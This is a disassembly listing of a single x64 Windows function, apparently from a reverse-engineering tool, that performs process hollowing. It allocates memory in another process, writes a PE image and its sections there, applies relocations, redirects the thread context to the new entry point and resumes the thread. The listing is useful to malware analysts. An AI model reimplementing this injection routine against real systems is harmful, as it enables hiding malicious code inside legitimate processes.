Function at 0x7ff8c39cd4a0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
push rdi
push r12
push r13
push r14
sub rsp, 0x548
mov rax, qword [0x7ff8c3aba080]
xor rax, rsp
mov qword [rsp + 0x528], rax
movsxd rdi, dword [rdx + 0x3c]
mov r14, rdx
add rdi, rdx
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x38], rdi
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [rdi + 0x50]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x7ff8c39cd50b
lea rcx, [0x7ff8c3a97b20]
call fcn.7ff8c39c46c0
xor eax, eax
jmp 0x7ff8c39cd82d
mov rdx, r13
lea rcx, [0x7ff8c3a97b70]
call fcn.7ff8c39c46c0
mov r9d, dword [rdi + 0x54]
mov rax, r13
sub rax, qword [rdi + 0x30]
mov r8, r14
mov qword [rsp + 0x40], rax
mov rdx, r13
xor eax, eax
mov qword [rdi + 0x30], r13
mov rcx, qword [r12]
mov qword [rsp + 0x20], rax
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
jne 0x7ff8c39cd55c
lea rcx, [0x7ff8c3a97b90]
call fcn.7ff8c39c46c0
xor eax, eax
jmp 0x7ff8c39cd82d
mov qword [rsp + 0x580], rbx
lea rcx, [0x7ff8c3a97be0]
mov qword [rsp + 0x540], rbp
mov rdx, r13
mov qword [rsp + 0x530], r15
call fcn.7ff8c39c46c0
movsxd rbx, dword [r14 + 0x3c]
xor r10d, r10d
cmp dword [rbx + r14 + 0xb0], r10d
je 0x7ff8c39cd59e
mov rbx, qword [rbx + r14 + 0xb0]
jmp 0x7ff8c39cd5a1
mov rbx, r10
mov rbp, r10
mov qword [rsp + 0x30], rbx
mov r15d, r10d
mov qword [rsp + 0x538], rsi
cmp r10w, word [rdi + 6]
jae 0x7ff8c39cd7ff
mov rsi, r10
movzx eax, word [rdi + 0x14]
add rdi, 0x18
add rax, rsi
add rdi, rax
mov edx, dword [rdi + 0xc]
cmp ebx, edx
jb 0x7ff8c39cd5e2
mov ecx, dword [rdi + 8]
add ecx, edx
cmp ebx, ecx
cmovb rbp, rdi
mov r8d, dword [rdi + 0x14]
add rdx, r13
mov r9d, dword [rdi + 0x10]
add r8, r14
mov rcx, qword [r12]
mov qword [rsp + 0x20], r10
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov rdx, rdi
test eax, eax
je 0x7ff8c39cd7f1
mov r8d, dword [rdi + 0xc]
lea rcx, [0x7ff8c3a97c40]
add r8, r13
call fcn.7ff8c39c46c0
mov rdi, qword [rsp + 0x38]
inc r15d
add rsi, 0x28
mov r10d, 0
movzx eax, word [rdi + 6]
cmp r15d, eax
jl 0x7ff8c39cd5c2
test rbp, rbp
je 0x7ff8c39cd7ff
mov rdx, rbp
lea rcx, [0x7ff8c3a97d98]
call fcn.7ff8c39c46c0
xor edx, edx
mov ebx, edx
cmp dword [rsp + 0x34], edx
jbe 0x7ff8c39cd739
mov r8d, 0x1000
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0x14]
add rax, r14
mov r15d, ebx
add r15, rax
add ebx, 8
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x7ff8c39cd72a
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0x14]
add rax, r14
mov ecx, ebx
add ebx, 2
movzx eax, word [rcx + rax]
cmp ax, r8w
jb 0x7ff8c39cd720
mov edi, dword [r15]
lea r8, [rsp + 0x520]
mov rcx, qword [r12]
and eax, 0xfff
add rax, r13
mov qword [rsp + 0x520], rdx
add rdi, rax
mov qword [rsp + 0x20], rdx
mov rdx, rdi
mov r9d, 8
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0x520]
add qword [rsp + 0x520], rax
mov rdx, rdi
mov rcx, qword [r12]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
xor edx, edx
mov r8d, 0x1000
sub rsi, 1
jne 0x7ff8c39cd6a0
cmp ebx, dword [rsp + 0x34]
jb 0x7ff8c39cd670
mov rdi, qword [rsp + 0x38]
lea rcx, [0x7ff8c3a97db8]
call fcn.7ff8c39c46c0
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x80], 0x10000b
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
jne 0x7ff8c39cd782
lea rcx, [0x7ff8c3a97c70]
jmp 0x7ff8c39cd806
mov rdx, qword [rsp + 0xd8]
lea r8, [rdi + 0x30]
mov rcx, qword [r12]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
jne 0x7ff8c39cd7b4
lea rcx, [0x7ff8c3a97cb0]
jmp 0x7ff8c39cd806
mov eax, dword [rdi + 0x28]
lea rdx, [rsp + 0x50]
mov rcx, qword [r12 + 8]
add rax, r13
mov qword [rsp + 0xd0], rax
call qword [sym.imp.kernel32.dll_SetThreadContext]
test eax, eax
jne 0x7ff8c39cd7df
lea rcx, [0x7ff8c3a97d00]
jmp 0x7ff8c39cd806
mov rcx, qword [r12 + 8]
call qword [sym.imp.kernel32.dll_ResumeThread]
mov eax, 1
jmp 0x7ff8c39cd80d
lea rcx, [0x7ff8c3a97c00]
call fcn.7ff8c39c46c0
jmp 0x7ff8c39cd80b
lea rcx, [0x7ff8c3a97d40]
call fcn.7ff8c39c46c0
xor eax, eax
mov rsi, qword [rsp + 0x538]
mov rbp, qword [rsp + 0x540]
mov rbx, qword [rsp + 0x580]
mov r15, qword [rsp + 0x530]
mov rcx, qword [rsp + 0x528]
xor rcx, rsp
call fcn.7ff8c3a839f0
add rsp, 0x548
pop r14
pop r13
pop r12
pop rdi
ret